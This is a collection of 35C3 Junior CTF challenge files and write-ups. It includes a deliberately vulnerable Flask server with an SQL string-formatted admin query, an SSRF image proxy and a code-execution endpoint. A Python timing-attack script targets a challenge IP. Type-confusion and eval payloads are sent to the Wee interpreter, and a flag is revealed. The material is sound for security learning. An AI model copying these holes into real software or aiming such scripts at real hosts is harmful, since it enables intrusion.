{"projectId": projectid} 336 | 337 | 338 | # Admin endpoints 339 | @app.route("/api/getprojectsadmin", methods=["POST"]) 340 | def getprojectsadmin(): 341 | # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class); 342 | # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset)); 343 | name = request.cookies["name"] 344 | token = request.cookies["token"] 345 | user, username, email, usertype = user_by_token(token) 346 | 347 | json = request.get_json(force=True) 348 | offset = json["offset"] 349 | sorting = json["sorting"] 350 | 351 | if name != "admin": 352 | raise Exception("InvalidUserName") 353 | 354 | sortings = { 355 | "newest": "created DESC", 356 | "oldest": "created ASC", 357 | "lastmodified": "lastModified DESC" 358 | } 359 | sql_sorting = sortings[sorting] 360 | 361 | if not offset: 362 | offset = datetime.datetime.now() 363 | 364 | return jsonify_projects(query_db( 365 | "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' " 366 | "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin") 367 | 368 | 369 | @app.route("/api/getfeaturedprojects", methods=["POST"]) 370 | def getfeaturedprojects(): 371 | try: 372 | name = request.cookies["name"] 373 | token = request.cookies["token"] 374 | userid, username, email, usertype = user_by_token(token) 375 | except Exception as ex: 376 | username = "" 377 | usertype = "user" 378 | 379 | projects = query_db("SELECT code, userName, title, type, lastModified, created, content FROM projects " 380 | "WHERE featured=1 AND public=1 ORDER BY lastModified DESC", one=False) 381 | return jsonify_projects(projects, username, usertype) 382 | 383 | 384 | # Proxy images to avoid tainted canvases when thumbnailing. 385 | @app.route("/api/proxyimage", methods=["GET"]) 386 | def proxyimage(): 387 | url = request.args.get("url", '') 388 | parsed = parse.urlparse(url, "http") # type: parse.ParseResult 389 | if not parsed.netloc: 390 | parsed = parsed._replace(netloc=request.host) # type: parse.ParseResult 391 | url = parsed.geturl() 392 | 393 | resp = requests.get(url) 394 | if not resp.headers["Content-Type"].startswith("image/"): 395 | raise Exception("Not a valid image") 396 | 397 | # See https://stackoverflow.com/a/36601467/1345238 398 | excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection'] 399 | headers = [(name, value) for (name, value) in resp.raw.headers.items() 400 | if name.lower() not in excluded_headers] 401 | 402 | response = Response(resp.content, resp.status_code, headers) 403 | return response 404 | 405 | 406 | # Additional pyserver functions: 407 | 408 | # Wee as a service. 409 | def runwee(wee: string) -> string: 410 | print("{}: running {}".format(request.remote_addr, wee)) 411 | result = check_output( 412 | ["ts-node", '--cacheDirectory', os.path.join(WEE_PATH, "__cache__"), 413 | os.path.join(WEE_PATH, WEETERPRETER), wee], shell=False, stderr=STDOUT, timeout=WEE_TIMEOUT, 414 | cwd=WEE_PATH).decode("utf-8") 415 | print("{}: result: {}".format(request.remote_addr, result)) 416 | return result 417 | 418 | 419 | @app.route("/wee/run", methods=["POST"]) 420 | def weeservice(): 421 | json = request.get_json(force=True) 422 | wee = json["code"] 423 | out = runwee(wee) 424 | return jsonify({"code": wee, "result": out}) 425 | 426 | 427 | @app.route("/wee/dev/null", methods=["POST"]) 428 | def dev_null(): 429 | json = request.get_json(force=True) 430 | wee = json["code"] 431 | wee = """ 432 | var DEV_NULL: string = '{}' 433 | {} 434 | """.format(DEV_NULL, wee) 435 | _ = runwee(wee) 436 | return "GONE" 437 | 438 | 439 | @app.route("/wee/encryptiontest", methods=["GET"]) 440 | def encryptiontest(): 441 | global encrypted 442 | if not encrypted: 443 | wee = """ 444 | # we use weelang to encrypt secrets completely secret 445 | 446 | record pubkey 447 | n: string 448 | e: string 449 | end 450 | 451 | var key = pubkey('951477056381671188036079180681828396446164466568923964269373812360568216940258578681673755725586138473475522188240856850626984093905399964041687626629414562063470963902807801143023140969208234239276778397171817582591827008690056789763534174119863046106813515750863733543758319811194784246845138921495556311458180478538856550842509692686396679117903040148607642710832573838027274004952072516749168425434697690016707327002989407014753735313730653189661541750880855213165937564578292464379167857778759136474173425831340306919705672933486711939333953750637729967455118475408369751602538202818190663939706886093046526104043062374288648189070207772477271879494000411582080352364098957455090381238978031676375437980396931371164061080967754225429135119036489128165414029872153856547376448552882344531325480944511714482341088742350110097372766748364926941000441524157824859511557342673524388056049358362600925172299990719998873868038194555465008036497932945812845340638853399732721987228486858193979073913761760370769609347622795498987306822413134236749607735657967667902966667996797241364688793919066445360547749193845825298342626288990158730149727398354192053692360716383851051271618559075048012800235250387837052573541157845958948856954035758915157871993646182544696043757263004887914724250286341123038686355398997399922927237477691269351791943572679717263938613148630387793458838416117454016370454288153779764863162055098229903413503857354581027436855574871814478747237999617879024407403954905986969721336803258774514397600947175650242674193496614652267158753817350136305620268076457813070726099248681642612063203170442453405051455877524709366973062774037044772079720703743828695351198984334830532193564525916901461725538418714517302390850049543856542699391339075976843028654004552169277571339017161697013373622770115406681080294994790626557117129820457988045974009530185622113951540819939983153190486345031549722007896699102268137425607039925174692583738394816628508716999668221820730737934785438568198334912127263127241407430459511422030656861043544813130287622862247904749760983465608684778389799703770877931875268858524702991767450720773677639856979930404508755100624844341829896497906824520180051038779126563860453039035779455387733056343833776802716194138072528278142786901904343407377649000988142255369860324110311816186668720584468851089864315465497405748709976389375632079690963423708940060402561050963276766635011726613211018206198125893007608417148033891841809', '3') 452 | 453 | fun encrypt(message: string, key: pubkey): string 454 | return bigModPow(strToBig(message), key.e, key.n) 455 | end 456 | 457 | fun get_cypher(key: pubkey): string 458 | var message = '{}' 459 | return encrypt(message, key) 460 | end 461 | 462 | alert(get_cypher(key)) 463 | """.format(DECRYPTED) 464 | encrypted = runwee(wee) 465 | return jsonify({"enc": encrypted}) 466 | 467 | 468 | # The pyserver is almost 100% open source! 469 | # Just enough to barely get it running but never to its full potential. 470 | # We got very positive feedback on HN and nobody bothered to run it anyway. 471 | # 11/10 would open source again. 472 | @app.route("/pyserver/server.py", methods=["GET"]) 473 | def server_source(): 474 | return Response(inspect.getsource(sys.modules[__name__]), mimetype='text/x-python') 475 | 476 | 477 | @app.route("/pyserver/flags.py", methods=["GET"]) 478 | def server_flags(): 479 | return Response(""" 480 | DB_SECRET = "35C3_???" 481 | DECRYPTED = "35C3_???" 482 | DEV_NULL = "35C3_???" 483 | LOCALHOST = "35C3_???" 484 | LOGGED_IN = "35C3_???" 485 | NOT_IMPLEMENTED = "35C3_???" 486 | """, mimetype='text/x-python') 487 | 488 | 489 | @app.route("/weelang/{}".format(WEETERPRETER), methods=["GET"]) 490 | def weeterpreter_source(): 491 | return send_file(os.path.join(WEE_PATH, WEETERPRETER), mimetype="text/x-typescript") 492 | 493 | 494 | @app.route("/weelang/package.json", methods=["GET"]) 495 | def weeterpreter_deps(): 496 | return send_file(os.path.join(WEE_PATH, "package.json")) 497 | 498 | 499 | @app.route("/weelang/flags.ts", methods=["GET"]) 500 | def weeterpreter_flags(): 501 | return Response(""" 502 | export const CONVERSION_ERROR = "35C3_???" 503 | export const EQUALITY_ERROR = "35C3_???" 504 | export const LAYERS = "35C3_???" 505 | export const NUMBER_ERROR = "35C3_???" 506 | export const WEE_R_LEET = "35C3_???" 507 | export const WEE_TOKEN = "35C3_???" 508 | """, mimetype="text/x-typescript") 509 | 510 | 511 | @app.before_first_request 512 | def maybe_init_db(): 513 | if not os.path.exists(DATABASE): 514 | init_db() 515 | 516 | 517 | if __name__ == "__main__": 518 | app.run(host="0.0.0.0", port=8075) 519 | -------------------------------------------------------------------------------- /misc/ultra_secret/README.md: -------------------------------------------------------------------------------- 1 | # ultra secret 2 | 3 | ## Challenge 4 | 5 | This flag is protected by a password stored in a highly sohpisticated chain of hashes. Can you capture it nevertheless? We are certain the password consists of lowercase alphanumerical characters only. 6 | 7 | nc 35.207.158.95 1337 8 | 9 | [Source](https://35c3ctf.ccc.ac/uploads/juniorctf/ffb8d1ab6ff961419bee1cf1cddfb2e5-ultra_secret.tar) 10 | 11 | Difficulti estimate: Easy-Medium 12 | 13 | ## Solution 14 | 15 | The source code is given, so let's have a look at it: 16 | 17 | ```rust 18 | extern crate crypto; 19 | 20 | use std::io; 21 | use std::io::BufRead; 22 | use std::process::exit; 23 | use std::io::BufReader; 24 | use std::io::Read; 25 | use std::fs::File; 26 | use std::path::Path; 27 | use std::env; 28 | 29 | use crypto::digest::Digest; 30 | use crypto::sha2::Sha256; 31 | 32 | fn main() { 33 | let mut password = String::new(); 34 | let mut flag = String::new(); 35 | let mut i = 0; 36 | let stdin = io::stdin(); 37 | let hashes: Vec = BufReader::new(File::open(Path::new("hashes.txt")).unwrap()).lines().map(|x| x.unwrap()).collect(); 38 | BufReader::new(File::open(Path::new("flag.txt")).unwrap()).read_to_string(&mut flag).unwrap(); 39 | 40 | println!("Please enter the very secret password:"); 41 | stdin.lock().read_line(&mut password).unwrap(); 42 | let password = &password[0..32]; 43 | for c in password.chars() { 44 | let hash = hash(c); 45 | if hash != hashes[i] { 46 | exit(1); 47 | } 48 | i += 1; 49 | } 50 | println!("{}", &flag) 51 | } 52 | 53 | fn hash(c: char) -> String { 54 | let mut hash = String::new(); 55 | hash.push(c); 56 | for _ in 0..9999 { 57 | let mut sha = Sha256::new(); 58 | sha.input_str(&hash); 59 | hash = sha.result_str(); 60 | } 61 | hash 62 | } 63 | ``` 64 | 65 | From studying the source code we can learn that every character from the password we provide 66 | will be chain hashed 10'000 times and then compared to the corresponding hash in the `hashes.txt` file. 67 | So, the first character of the password will be hashed and compared to the first hash in `hashes.txt`. 68 | The second character of the password will be hashed and compared to the second hash in `hashes.txt`. 69 | And so forth ... 70 | 71 | A soon as the first hash doesn't match the program terminates. 72 | If all the hashes matched, the flag is revealed. 73 | 74 | The problem with the above program is that chain hashing 10'000 times takes a measurable amount of time. 75 | Thus, we can launch a timing attack. 76 | The longer a password takes to verify the more characters from the beginning of the password are correct. 77 | With that in mind and a few Python lines later we can exploit the timing of the hash algorithm and 78 | get to the hash. 79 | 80 | ```python 81 | import time 82 | import socket 83 | 84 | POSSIBLE_CHARS = "abcdefghijklmnopqrstuvwxyz0123456789" 85 | HOST = "35.207.158.95" 86 | PORT = 1337 87 | PASS_LEN = 32 88 | 89 | guessed_chars = [] 90 | 91 | for i in range(PASS_LEN): 92 | best_char = (None, float("-inf")) 93 | for c in POSSIBLE_CHARS: 94 | # construct the new password guess 95 | guess = ( 96 | "".join(guessed_chars) + c * (PASS_LEN - len(guessed_chars)) 97 | ).encode("ascii") 98 | 99 | # connect to the exploitable service and provide the password 100 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 101 | s.connect((HOST, PORT)) 102 | start = time.time_ns() 103 | s.recv(4096) # read but ignore the prompt 104 | s.send(guess + b"\n") 105 | flag = s.recv(4096) 106 | end = time.time_ns() 107 | 108 | if flag: 109 | print("Profit from the flag: '{}'".format(flag)) 110 | exit(0) 111 | 112 | duration = end - start 113 | if duration > best_char[1]: 114 | best_char = (c, duration) 115 | s.close() 116 | 117 | guessed_chars.append(best_char[0]) 118 | print("Best character for {} is {} leading to {}".format( 119 | i, best_char[0], "".join(guessed_chars))) 120 | 121 | print("Guessed password is:", "".join(guessed_chars), guessed_chars) 122 | ``` 123 | -------------------------------------------------------------------------------- /misc/ultra_secret/src/Cargo.lock: -------------------------------------------------------------------------------- 1 | [[package]] 2 | name = "bitflags" 3 | version = "1.0.4" 4 | source = "registry+https://github.com/rust-lang/crates.io-index" 5 | 6 | [[package]] 7 | name = "fuchsia-zircon" 8 | version = "0.3.3" 9 | source = "registry+https://github.com/rust-lang/crates.io-index" 10 | dependencies = [ 11 | "bitflags 1.0.4 (registry+https://github.com/rust-lang/crates.io-index)", 12 | "fuchsia-zircon-sys 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)", 13 | ] 14 | 15 | [[package]] 16 | name = "fuchsia-zircon-sys" 17 | version = "0.3.3" 18 | source = "registry+https://github.com/rust-lang/crates.io-index" 19 | 20 | [[package]] 21 | name = "gcc" 22 | version = "0.3.55" 23 | source = "registry+https://github.com/rust-lang/crates.io-index" 24 | 25 | [[package]] 26 | name = "libc" 27 | version = "0.2.45" 28 | source = "registry+https://github.com/rust-lang/crates.io-index" 29 | 30 | [[package]] 31 | name = "rand" 32 | version = "0.3.22" 33 | source = "registry+https://github.com/rust-lang/crates.io-index" 34 | dependencies = [ 35 | "fuchsia-zircon 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)", 36 | "libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)", 37 | "rand 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)", 38 | ] 39 | 40 | [[package]] 41 | name = "rand" 42 | version = "0.4.3" 43 | source = "registry+https://github.com/rust-lang/crates.io-index" 44 | dependencies = [ 45 | "fuchsia-zircon 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)", 46 | "libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)", 47 | "winapi 0.3.6 (registry+https://github.com/rust-lang/crates.io-index)", 48 | ] 49 | 50 | [[package]] 51 | name = "redox_syscall" 52 | version = "0.1.44" 53 | source = "registry+https://github.com/rust-lang/crates.io-index" 54 | 55 | [[package]] 56 | name = "rust-crypto" 57 | version = "0.2.36" 58 | source = "registry+https://github.com/rust-lang/crates.io-index" 59 | dependencies = [ 60 | "gcc 0.3.55 (registry+https://github.com/rust-lang/crates.io-index)", 61 | "libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)", 62 | "rand 0.3.22 (registry+https://github.com/rust-lang/crates.io-index)", 63 | "rustc-serialize 0.3.24 (registry+https://github.com/rust-lang/crates.io-index)", 64 | "time 0.1.41 (registry+https://github.com/rust-lang/crates.io-index)", 65 | ] 66 | 67 | [[package]] 68 | name = "rustc-serialize" 69 | version = "0.3.24" 70 | source = "registry+https://github.com/rust-lang/crates.io-index" 71 | 72 | [[package]] 73 | name = "time" 74 | version = "0.1.41" 75 | source = "registry+https://github.com/rust-lang/crates.io-index" 76 | dependencies = [ 77 | "libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)", 78 | "redox_syscall 0.1.44 (registry+https://github.com/rust-lang/crates.io-index)", 79 | "winapi 0.3.6 (registry+https://github.com/rust-lang/crates.io-index)", 80 | ] 81 | 82 | [[package]] 83 | name = "ultra_secret" 84 | version = "0.1.0" 85 | dependencies = [ 86 | "rust-crypto 0.2.36 (registry+https://github.com/rust-lang/crates.io-index)", 87 | ] 88 | 89 | [[package]] 90 | name = "winapi" 91 | version = "0.3.6" 92 | source = "registry+https://github.com/rust-lang/crates.io-index" 93 | dependencies = [ 94 | "winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)", 95 | "winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)", 96 | ] 97 | 98 | [[package]] 99 | name = "winapi-i686-pc-windows-gnu" 100 | version = "0.4.0" 101 | source = "registry+https://github.com/rust-lang/crates.io-index" 102 | 103 | [[package]] 104 | name = "winapi-x86_64-pc-windows-gnu" 105 | version = "0.4.0" 106 | source = "registry+https://github.com/rust-lang/crates.io-index" 107 | 108 | [metadata] 109 | "checksum bitflags 1.0.4 (registry+https://github.com/rust-lang/crates.io-index)" = "228047a76f468627ca71776ecdebd732a3423081fcf5125585bcd7c49886ce12" 110 | "checksum fuchsia-zircon 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)" = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82" 111 | "checksum fuchsia-zircon-sys 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)" = "3dcaa9ae7725d12cdb85b3ad99a434db70b468c09ded17e012d86b5c1010f7a7" 112 | "checksum gcc 0.3.55 (registry+https://github.com/rust-lang/crates.io-index)" = "8f5f3913fa0bfe7ee1fd8248b6b9f42a5af4b9d65ec2dd2c3c26132b950ecfc2" 113 | "checksum libc 0.2.45 (registry+https://github.com/rust-lang/crates.io-index)" = "2d2857ec59fadc0773853c664d2d18e7198e83883e7060b63c924cb077bd5c74" 114 | "checksum rand 0.3.22 (registry+https://github.com/rust-lang/crates.io-index)" = "15a732abf9d20f0ad8eeb6f909bf6868722d9a06e1e50802b6a70351f40b4eb1" 115 | "checksum rand 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)" = "8356f47b32624fef5b3301c1be97e5944ecdd595409cc5da11d05f211db6cfbd" 116 | "checksum redox_syscall 0.1.44 (registry+https://github.com/rust-lang/crates.io-index)" = "a84bcd297b87a545980a2d25a0beb72a1f490c31f0a9fde52fca35bfbb1ceb70" 117 | "checksum rust-crypto 0.2.36 (registry+https://github.com/rust-lang/crates.io-index)" = "f76d05d3993fd5f4af9434e8e436db163a12a9d40e1a58a726f27a01dfd12a2a" 118 | "checksum rustc-serialize 0.3.24 (registry+https://github.com/rust-lang/crates.io-index)" = "dcf128d1287d2ea9d80910b5f1120d0b8eede3fbf1abe91c40d39ea7d51e6fda" 119 | "checksum time 0.1.41 (registry+https://github.com/rust-lang/crates.io-index)" = "847da467bf0db05882a9e2375934a8a55cffdc9db0d128af1518200260ba1f6c" 120 | "checksum winapi 0.3.6 (registry+https://github.com/rust-lang/crates.io-index)" = "92c1eb33641e276cfa214a0522acad57be5c56b10cb348b3c5117db75f3ac4b0" 121 | "checksum winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 122 | "checksum winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 123 | -------------------------------------------------------------------------------- /misc/ultra_secret/src/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ultra_secret" 3 | version = "0.1.0" 4 | authors = ["Benedikt Constantin Radtke "] 5 | 6 | [dependencies] 7 | rust-crypto = "0.2.36" 8 | -------------------------------------------------------------------------------- /misc/ultra_secret/src/src/main.rs: -------------------------------------------------------------------------------- 1 | extern crate crypto; 2 | 3 | use std::io; 4 | use std::io::BufRead; 5 | use std::process::exit; 6 | use std::io::BufReader; 7 | use std::io::Read; 8 | use std::fs::File; 9 | use std::path::Path; 10 | use std::env; 11 | 12 | use crypto::digest::Digest; 13 | use crypto::sha2::Sha256; 14 | 15 | fn main() { 16 | let mut password = String::new(); 17 | let mut flag = String::new(); 18 | let mut i = 0; 19 | let stdin = io::stdin(); 20 | let hashes: Vec = BufReader::new(File::open(Path::new("hashes.txt")).unwrap()).lines().map(|x| x.unwrap()).collect(); 21 | BufReader::new(File::open(Path::new("flag.txt")).unwrap()).read_to_string(&mut flag).unwrap(); 22 | 23 | println!("Please enter the very secret password:"); 24 | stdin.lock().read_line(&mut password).unwrap(); 25 | let password = &password[0..32]; 26 | for c in password.chars() { 27 | let hash = hash(c); 28 | if hash != hashes[i] { 29 | exit(1); 30 | } 31 | i += 1; 32 | } 33 | println!("{}", &flag) 34 | } 35 | 36 | fn hash(c: char) -> String { 37 | let mut hash = String::new(); 38 | hash.push(c); 39 | for _ in 0..9999 { 40 | let mut sha = Sha256::new(); 41 | sha.input_str(&hash); 42 | hash = sha.result_str(); 43 | } 44 | hash 45 | } 46 | -------------------------------------------------------------------------------- /misc/we_r_leet/README.md: -------------------------------------------------------------------------------- 1 | # Challenge We R Leet 2 | 3 | ## Challenge 4 | 5 | Somebody forgot a useless assert function in the interpreter somewhere. In our agile development lifecycle somebody added the function early on to prove it's possible. Wev've only heared stories but apparently you can trigger it from Wee and it behaves differently for some "leet" input(?) What a joker. We will address this issue over the next few sprints. Hopefully it doesn't do any harm in the meantime. 6 | 7 | http://35.207.189.79/ 8 | 9 | > Difficulty estimate: Easy 10 | 11 | -- 12 | 13 | Good coders should learn one new language every year. 14 | 15 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV). 16 | 17 | If you have not picked up a new challenge in 2018, you're in for a treat. 18 | 19 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. 20 | 21 | Some cool Projects can be created in Wee, like: this, this and that. 22 | 23 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py. 24 | 25 | Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here). 26 | 27 | We even added new features to this better server, like server-side Wee evaluation! 28 | 29 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. 30 | 31 | 32 | ## Solution 33 | 34 | The important code for this challenge from weeterpreter.ts is: 35 | ``` 36 | externals.addFunction( 37 | "assert_leet", 38 | [{name: "maybe_leet", type: compiler.NumberType}], compiler.StringType, 39 | false, 40 | (maybe_leet: number) => maybe_leet !== 0x1337 ? "WEE AIN'T LEET" : flags.WEE_R_LEET 41 | ) 42 | ``` 43 | 44 | We're looking for a number that is equal to 0x1337. 45 | 46 | HEX 1337 = DEC 4919. 47 | 48 | A POST request to `http://35.207.189.79/wee/run` with payload `{ "code": "alert(assert_leet(4919))" }` gives the desired response. 49 | 50 | ``` 51 | { 52 | "code": "alert(assert_leet(4919))", 53 | "result": "35C3_HELLO_WEE_LI77LE_WORLD\n" 54 | } 55 | ``` -------------------------------------------------------------------------------- /misc/wee_token/README.md: -------------------------------------------------------------------------------- 1 | # Wee Token 2 | 3 | ## Challange 4 | 5 | **We _need_ to make sure strings in Wee are also strings in our runtime. Apparently attackers got around this and actively exploit us! We do not know how. Calling out to haxxor1, brocrowd, kobold.io,...: if anybody can show us how they did it, please, please please submit us the token the VM will produce. We added the function assert_string(str: string) for your convenience. You might get rich - or not. It depends a bit on how we feel like and if you reach our technical support or just 1st level. Anyway: this is a call to arms and a desperate request, that, we think, is usually called Bugs-Bunny-Program... or something? Happy hacking.** 6 | 7 | http://35.207.189.79/ 8 | 9 | > Difficulty estimate: Easy 10 | 11 | Good coders should learn one new language every year. 12 | 13 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV). 14 | 15 | If you have not picked up a new challenge in 2018, you're in for a treat. 16 | 17 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. 18 | 19 | Some cool Projects can be created in Wee, like: this, this and that. 20 | 21 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py. 22 | 23 | Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here). 24 | 25 | We even added new features to this better server, like server-side Wee evaluation! 26 | 27 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. 28 | 29 | ## Solution 30 | 31 | In the `assert_string` function of the wee language we see that the comparison is done like the following: 32 | 33 | ```typescript 34 | typeof str == "string" 35 | ``` 36 | 37 | Note the double equal and not the type comparison `===`. The only commparison which we can input in the metod is `undefined` because 38 | of typescripts type checking in the parameter for string. 39 | 40 | We know that we can execute javascript code via the `eval(expr: str)` function, so we can pass `undefined` as a parameter. 41 | We can run a **wee command** by creationg a post request to the `http://35.207.189.79/wee/run` url with the following data: 42 | 43 | ```json 44 | { 45 | "code": "alert(assert_string(eval('undefined')))" 46 | } 47 | ``` 48 | 49 | > **token**: 35C3_WEE_IS_TINY_AND_SO_CONFU5ED 50 | 51 | -------------------------------------------------------------------------------- /misc/weeterpreter.ts: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ts-node 2 | import * as compiler from "../client/src/language/Compiler" 3 | import {AsyncPromise, VirtualMachine, VirtualMachineState} from "../client/src/language/VirtualMachine" 4 | import * as puppeteer from 'puppeteer' 5 | import * as flags from "./flags"; 6 | 7 | declare let BigInt: any 8 | 9 | const DoEvents = () => new Promise((resolve) => setImmediate(resolve)) 10 | 11 | const browserPromise = puppeteer.launch({args: ["--no-sandbox"]}) 12 | const pagePromise: Promise = new Promise(async (resolve, reject) => { 13 | try { 14 | const browser = await browserPromise 15 | const page = await browser.newPage() 16 | await page.setRequestInterception(true) 17 | page.on('request', r=> (r.url().startsWith("file://") && ( 18 | r.url().endsWith("weelang/pypyjs.html") || 19 | r.url().endsWith("lib/FunctionPromise.js") || 20 | r.url().endsWith("lib/pypyjs.js") || 21 | r.url().endsWith("lib/pypyjs.vm.js") || 22 | r.url().endsWith("lib/pypyjs.vm.js.zmem") 23 | ) ? r.continue() : r.abort() && console.log("blocked", r.url())) 24 | ) 25 | await page.goto(`file:///${__dirname}/pypyjs.html`, {waitUntil: 'networkidle2'}) 26 | await page.evaluate(`store('${flags.LAYERS}')`) 27 | resolve(page) 28 | } catch (e) { 29 | reject(e) 30 | } 31 | }) 32 | 33 | browserPromise.catch(x=>console.error) 34 | pagePromise.catch(x=>console.error) 35 | 36 | /** 37 | * Uses a recent chrome to run code inside the chrome sandbox. 38 | * (Hint: there is no challenge here. If you can escape chrome, play the advanced ctf ;) ) 39 | * @param script: the code to run 40 | * @param args: args, in case the script takes any. 41 | */ 42 | async function eval_in_chrome(script, ...args): Promise { 43 | //const browser = await puppeteer.launch({args: ["--no-sandbox"]}) 44 | try { 45 | //console.log("running", script, ...args) 46 | //const browser = await puppeteer.launch({args: ["--no-sandbox"]}) 47 | //const page = await browser.newPage() 48 | //await page.goto(`file:///${__dirname}/pypyjs.html`) 49 | //const response = await page.goto(`file:///${__dirname}/pypyjs.html`) 50 | //console.log(response) Too slow :/ 51 | const page = await pagePromise 52 | //console.log("Goiong on evaling", script, args) 53 | const result = await page.evaluate(script, ...args) 54 | //await page.close() 55 | //console.log("closed. returning.", result) 56 | return result 57 | } catch (e) { 58 | //console.log("An eval error occurred: ", e) 59 | return "" + e.message 60 | } 61 | } 62 | 63 | function wee_eval(expr: string): AsyncPromise { 64 | let asyncResult: AsyncPromise = { 65 | completed: false, 66 | value: null, 67 | stopVirtualMachine: false 68 | } 69 | eval_in_chrome(expr).then((res) => { 70 | //console.log("Result ", expr, res) 71 | asyncResult.value = res; 72 | asyncResult.completed = true 73 | }).catch((err) => { 74 | console.log("Unexpectged error in eval", expr, err) 75 | asyncResult.value = "" + err; 76 | asyncResult.completed = true 77 | }) 78 | return asyncResult 79 | } 80 | 81 | 82 | function get_headless_externals() { 83 | const externals = new compiler.ExternalFunctionsTypesConstants(); 84 | 85 | // Override browser-dependend alert with console.log 86 | externals.addFunction( 87 | "alert", 88 | [{name: "message", type: compiler.StringType}], compiler.NothingType, 89 | false, 90 | console.log 91 | ) 92 | externals.addFunction( 93 | "alert", 94 | [{name: "value", type: compiler.NumberType}], compiler.NothingType, 95 | false, 96 | console.log 97 | ) 98 | externals.addFunction( 99 | "alert", 100 | [{name: "value", type: compiler.BooleanType}], compiler.NothingType, 101 | false, 102 | console.log 103 | ) 104 | 105 | // pyserver 106 | externals.addFunction( 107 | "ord", 108 | [{name: "value", type: compiler.StringType}], compiler.NumberType, 109 | false, 110 | (value: string) => { 111 | return value.charCodeAt(0) % 256 112 | } 113 | ) 114 | externals.addFunction( 115 | "bigModPow", 116 | [ 117 | {name: "base", type: compiler.StringType}, 118 | {name: "exponent", type: compiler.StringType}, 119 | {name: "modulus", type: compiler.StringType} 120 | ], compiler.StringType, 121 | false, 122 | (base: string, exponent: string, modulus: string) => { 123 | let b = BigInt(base) 124 | let e = BigInt(exponent) 125 | let N = BigInt(modulus) 126 | return eval('""+((b ** e) % N)') // force js since tsc translates ** to Math.Pow... *rolls eyes* 127 | } 128 | ) 129 | externals.addFunction( 130 | "strToBig", 131 | [{name: "str", type: compiler.StringType}], compiler.StringType, 132 | false, 133 | (str: string) => { 134 | let res = BigInt(0) 135 | for (const c of str) { 136 | res *= BigInt(256) 137 | res += BigInt(c.charCodeAt(0) % 256) 138 | } 139 | return "" + res 140 | } 141 | ) 142 | externals.addFunction( 143 | "eval", 144 | [{name: "expr", type: compiler.StringType}], compiler.StringType, 145 | true, 146 | (expr: string) => { 147 | return wee_eval(expr) 148 | } 149 | ) 150 | externals.addFunction( 151 | "assert_equals", 152 | [{name: "num", type: compiler.NumberType}], compiler.StringType, 153 | false, 154 | (num: number) => num === num 155 | ? "EQUALITY WORKS" : flags.EQUALITY_ERROR 156 | ) 157 | externals.addFunction( 158 | "assert_number", 159 | [{name: "num", type: compiler.NumberType}], compiler.StringType, 160 | false, 161 | (num: number) => !isFinite(num) || isNaN(num) || num !== num + 1 162 | ? "NUMBERS WORK" : flags.NUMBER_ERROR 163 | ) 164 | externals.addFunction( 165 | "assert_conversion", 166 | [{name: "str", type: compiler.StringType}], compiler.StringType, 167 | false, 168 | (str: string) => str.length === +str + "".length || !/^[1-9]+(\.[1-9]+)?$/.test(str) 169 | ? "Convert to Pastafarianism" : flags.CONVERSION_ERROR 170 | ) 171 | externals.addFunction( 172 | // Wee is statically typed. Finding a way to confuse the VM is impossible. 173 | "assert_string", 174 | [{name: "str", type: compiler.StringType}], compiler.StringType, 175 | false, 176 | (str: string) => typeof str == "string" ? "WEE is statically typed. Sorry, confusing the VM is impossible." 177 | : flags.WEE_TOKEN 178 | ) 179 | externals.addFunction( 180 | "assert_leet", 181 | [{name: "maybe_leet", type: compiler.NumberType}], compiler.StringType, 182 | false, 183 | (maybe_leet: number) => maybe_leet !== 0x1337 ? "WEE AIN'T LEET" : flags.WEE_R_LEET 184 | ) 185 | return externals 186 | } 187 | 188 | export async function wee_exec(code: string) { 189 | try { 190 | const compiled = compiler.compile(code, get_headless_externals()) 191 | const vm = new VirtualMachine(compiled.functions, compiled.externalFunctions) 192 | while (vm.state != 